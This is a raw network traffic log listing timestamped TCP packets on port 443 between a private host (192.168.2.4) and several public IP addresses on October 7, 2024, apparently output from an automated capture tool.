Oct 7, 2024 13:17:04.636221886 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.636696100 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.636784077 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.636801004 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.636827946 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.636879921 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.636890888 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.637104988 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.637168884 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.637181044 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.637634039 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.637706995 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.637718916 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.649554968 CEST	49818	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:04.656209946 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.656337976 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.656428099 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.656507969 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.656583071 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.656641006 CEST	49818	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:04.656641960 CEST	49818	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:04.656667948 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.656699896 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.656719923 CEST	49818	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:04.656860113 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.656939030 CEST	49818	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:04.656975985 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.657008886 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.657144070 CEST	49818	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:04.657427073 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.657541990 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.657607079 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.657607079 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.657643080 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.657686949 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.674886942 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.674974918 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.675040007 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.675102949 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.675120115 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.675188065 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.675240993 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.675306082 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.675554037 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.675621033 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.676892042 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.676955938 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.676970005 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.677037001 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.678380966 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.678457975 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.678467989 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.678595066 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.678647041 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.689302921 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.710067987 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.710161924 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.710225105 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.710288048 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.710453033 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.710515022 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.710732937 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.710803032 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.710979939 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.711040020 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.711231947 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.711292028 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.711477995 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.711534977 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.711930990 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.711994886 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.712121964 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.712181091 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.712312937 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.712373018 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.712490082 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.712553024 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.728722095 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.728785038 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.728923082 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.728980064 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.729331970 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.729394913 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.729630947 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.729695082 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.729862928 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.730143070 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.730201006 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.731379986 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.751025915 CEST	49817	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.751055956 CEST	443	49817	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.780811071 CEST	49818	443	192.168.2.4	172.67.137.41
Oct 7, 2024 13:17:04.780838966 CEST	443	49818	172.67.137.41	192.168.2.4
Oct 7, 2024 13:17:04.795073032 CEST	49777	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.795095921 CEST	443	49777	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.803031921 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:04.803122044 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:04.803551912 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:04.803801060 CEST	49819	443	192.168.2.4	104.26.13.241
Oct 7, 2024 13:17:04.803838968 CEST	443	49819	104.26.13.241	192.168.2.4
Oct 7, 2024 13:17:04.806241989 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.806350946 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.817301035 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.817389011 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.822069883 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.822141886 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.826936007 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.827027082 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.836817980 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.836908102 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.841733932 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.841824055 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.851579905 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.851670980 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.856292963 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.856374979 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.865876913 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.865972042 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.870637894 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.870718002 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.880276918 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.880383968 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.885057926 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.885165930 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.894757986 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.894844055 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.899605036 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.899743080 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.909496069 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.909579992 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.914637089 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.914968967 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.924284935 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.924422026 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.929121971 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.929354906 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.938463926 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.938604116 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.943783045 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.944013119 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.953092098 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.953257084 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.957931042 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.958060026 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.967498064 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.967643976 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.967688084 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.967849016 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.967878103 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.967938900 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.968061924 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.968127012 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.968188047 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.968277931 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.968442917 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.968516111 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.968708038 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.968777895 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.968883038 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.968945026 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.969145060 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.969212055 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.969391108 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.969450951 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.969645977 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.969712973 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.971267939 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.988439083 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.988532066 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.988617897 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.988676071 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.992630005 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.992702007 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.992986917 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.993056059 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.993227005 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.993285894 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.993535042 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.993599892 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.993701935 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.993763924 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.993927956 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.993984938 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.994198084 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.994261980 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.994451046 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.994522095 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:04.994623899 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:04.994683981 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.001729012 CEST	49821	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.001811981 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.001921892 CEST	49821	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.002140999 CEST	49821	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.002166986 CEST	443	49821	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.006680965 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.006702900 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.006819963 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.006961107 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.007035971 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.007297039 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.007329941 CEST	49822	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.007354021 CEST	443	49822	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.007363081 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.007592916 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.007651091 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.007919073 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.007983923 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.008311033 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.008372068 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.027170897 CEST	49824	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.027184963 CEST	443	49824	104.21.7.183	192.168.2.4
Oct 7, 2024 13:17:05.027287960 CEST	49824	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.027512074 CEST	49824	443	192.168.2.4	104.21.7.183
Oct 7, 2024 13:17:05.027519941 CEST	443	49824	104.21.7.183	192.168.2.4
Oct 7, 2024 13:17:05.081355095 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.081434965 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.081496000 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.081572056 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.082688093 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.082766056 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.082829952 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.082895994 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.083058119 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.083125114 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.083249092 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.083311081 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.083633900 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.083698034 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.083889961 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.083950043 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.084238052 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.084306002 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.084371090 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.084425926 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.084476948 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.084541082 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.084578037 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.084636927 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.100090981 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.100263119 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.100291967 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.100317955 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.100353003 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.100361109 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.100383997 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.100408077 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.101083994 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.101274014 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.101588964 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.101660967 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.174510956 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.174587011 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.174659967 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.174734116 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.175518036 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.175581932 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.175921917 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.176000118 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.176217079 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.176290989 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.176528931 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.176590919 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.176812887 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.176882982 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.177093029 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.177153111 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.177323103 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.177381992 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.177576065 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.177649975 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.177788973 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.177849054 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.532685995 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.532773972 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.532951117 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.533013105 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.533246040 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.533307076 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.533523083 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.533586025 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.533813000 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.533873081 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.534154892 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.534238100 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.534356117 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.534411907 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.534471035 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.534534931 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.534600973 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.534652948 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.534713030 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.534779072 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.534832954 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.534883976 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.534960032 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.535024881 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.535085917 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.535141945 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.535202026 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.535260916 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.535327911 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.535382986 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.535495043 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.535558939 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.535619020 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.535671949 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.535746098 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.535803080 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.535864115 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.535913944 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.535980940 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.536041021 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.536093950 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.536154032 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.536216021 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.536269903 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.536323071 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.536375046 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.536427975 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.536489964 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.536539078 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.536592007 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.536650896 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.536700964 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.536756992 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.536812067 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.536866903 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.536921978 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.536993027 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.537049055 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.537110090 CEST	443	49807	192.185.125.111	192.168.2.4
Oct 7, 2024 13:17:05.537167072 CEST	49807	443	192.168.2.4	192.185.125.111
Oct 7, 2024 13:17:05.537225008 CEST	443	49807	192.185.125.111	192.168.2.4
